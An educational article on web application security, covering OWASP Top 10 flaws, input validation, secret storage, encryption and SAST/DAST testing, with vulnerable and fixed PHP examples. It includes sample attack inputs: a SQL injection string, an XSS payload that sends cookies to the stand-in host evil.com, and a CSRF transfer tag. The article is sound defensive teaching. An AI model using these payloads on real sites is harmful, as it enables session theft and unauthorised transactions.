Application Security

1. Definition of Application Security

Application security protects code and logic throughout the application lifecycle. While Network Security protects infrastructure (walls), Application Security protects the business inside (the safe).

Why It Matters:

• ✅ 94% of attacks now exploit application layer (Verizon 2025)
• ✅ Average breach cost: $4.45 million
• ✅ Fixing bugs in production is 100x more expensive than during development

2. Application Security Threats (OWASP Top 10 Focus)

The OWASP Top 10 represents the most critical security risks to web applications.

A. SQL Injection (SQLi) 💉

The Flaw: Application pastes user input directly into database query without checking.

Vulnerable Code:

$query = "SELECT * FROM users WHERE id = '" . $userId . "'";

Attack:

Input: 123' OR '1'='1
Query: SELECT * FROM users WHERE id = '123' OR '1'='1'
Result: Returns ALL users (always true)

The Fix: Prepared Statements

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);
// User input treated as DATA, not CODE

B. Cross-Site Scripting (XSS) 🕷️

The Flaw: Application allows users to inject HTML/JavaScript displayed to others.

Attack:

Comment: <script>fetch('http://evil.com/steal?c='+document.cookie)</script>
Result: Steals session cookies from all viewers

The Fix: Output Encoding

echo htmlspecialchars($user_comment, ENT_QUOTES, 'UTF-8');
// <script> becomes &lt;script&gt; (displayed as text, not executed)

C. Cross-Site Request Forgery (CSRF) 🎯

The Flaw: Application trusts any request from authenticated user's browser.

Attack Scenario:

1. User logs into bank.com
2. Visits evil.com (still logged in)
3. evil.com contains: <img src="https://bank.com/transfer?to=hacker&amount=1000">
4. Browser sends bank cookies automatically
5. Bank processes transfer

The Fix: Anti-CSRF Tokens

// Generate token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Embed in form
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

// Validate
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF attack detected!");
}

D. Broken Authentication 🔓

Common Weaknesses:

• • Weak passwords allowed ("password123")
• • No account lockout (unlimited login attempts)
• • Session IDs in URLs
• • Predictable session IDs

Secure Password Storage:

// NEVER plain text or MD5!
// Use bcrypt:
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);

// Verify:
if (password_verify($inputPassword, $storedHash)) {
    // Login successful
}

Secure Session Configuration:

ini_set('session.cookie_httponly', 1); // Can't access via JavaScript (XSS protection)
ini_set('session.cookie_secure', 1);   // HTTPS only
ini_set('session.cookie_samesite', 'Strict'); // CSRF protection

3. Application Security Measures

A. Input Validation ✅

The Golden Rule: "Accept Known Good" (Whitelist) is better than "Reject Known Bad" (Blacklist).

Blacklist (Weak):

$input = str_replace(["<script>", "DROP"], "", $input);
// Easily bypassed: <ScRiPt>, <scr<script>ipt>

Whitelist (Strong):

if (preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
    // Valid: only letters, numbers, underscore
} else {
    die("Invalid format");
}

Validation Examples:

// Email
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);

// Integer with range
$age = filter_input(INPUT_POST, 'age', FILTER_VALIDATE_INT, [
    'options' => ['min_range' => 0, 'max_range' => 150]
]);

B. Never Hardcode Secrets 🔑

BAD:

DATABASE_PASSWORD = "super_secret_123"  # DON'T DO THIS!

GOOD (Environment Variables):

import os
DATABASE_PASSWORD = os.environ.get('DATABASE_PASSWORD')

Best (Secret Management):

• • AWS Secrets Manager
• • HashiCorp Vault
• • Azure Key Vault

C. Encryption 🔒

Data in Transit:

• • Use TLS 1.3 for all communications (HTTPS)
• • Disable TLS 1.0/1.1 (vulnerable)

Data at Rest:

from cryptography.fernet import Fernet

key = Fernet.generate_key()  # Store securely!
cipher = Fernet(key)

# Encrypt
encrypted = cipher.encrypt(b"sensitive data")

# Decrypt
decrypted = cipher.decrypt(encrypted)

4. Application Security Testing

SAST (Static Application Security Testing) 🔍

Definition: Analyzes source code for vulnerabilities (white box).

What It Finds:

• • SQL injection patterns
• • Hardcoded passwords
• • Insecure functions (md5, eval)
• • Buffer overflows

Tools:

• • Commercial: Checkmarx, Veracode
• • Open-Source: SonarQube, Semgrep

Pros:

• ✅ Early detection (during development)
• ✅ Exact line number
• ✅ Scans all code paths

Cons:

• ❌ High false positives (30-50%)
• ❌ Doesn't prove exploitability

DAST (Dynamic Application Security Testing) 🎯

Definition: Attacks running application from outside (black box).

What It Finds:

• • Exploitable SQL injection
• • XSS vulnerabilities
• • Authentication bypasses
• • Configuration issues

Tools:

• • Commercial: Burp Suite Pro, Acunetix
• • Open-Source: OWASP ZAP

Pros:

• ✅ Low false positives (confirms exploitability)
• ✅ Technology-agnostic (no source code needed)

Cons:

• ❌ Late detection (application must be running)
• ❌ Doesn't scan all code paths

Comparison: SAST vs DAST

Best Practice: Use both for comprehensive coverage!

Conclusion

Application Security is where 94% of attacks occur. By integrating security into every SDLC phase—from threat modeling to SAST/DAST testing—organizations catch vulnerabilities when cheapest to fix.

Remember:

• ✅ SQL Injection = Use prepared statements
• ✅ XSS = Output encoding + CSP
• ✅ CSRF = Anti-CSRF tokens
• ✅ Broken Auth = Strong passwords + MFA
• ✅ Input Validation = Whitelist over blacklist
• ✅ Never hardcode secrets = Environment variables
• ✅ SAST = Early detection (high false positives)
• ✅ DAST = Confirms exploits (low false positives)
• ✅ Shift Left = Security from day one
• ✅ DevSecOps = Everyone's responsibility

Security must be built-in, not bolted on! 🛡️

Frequently Asked Questions (FAQ)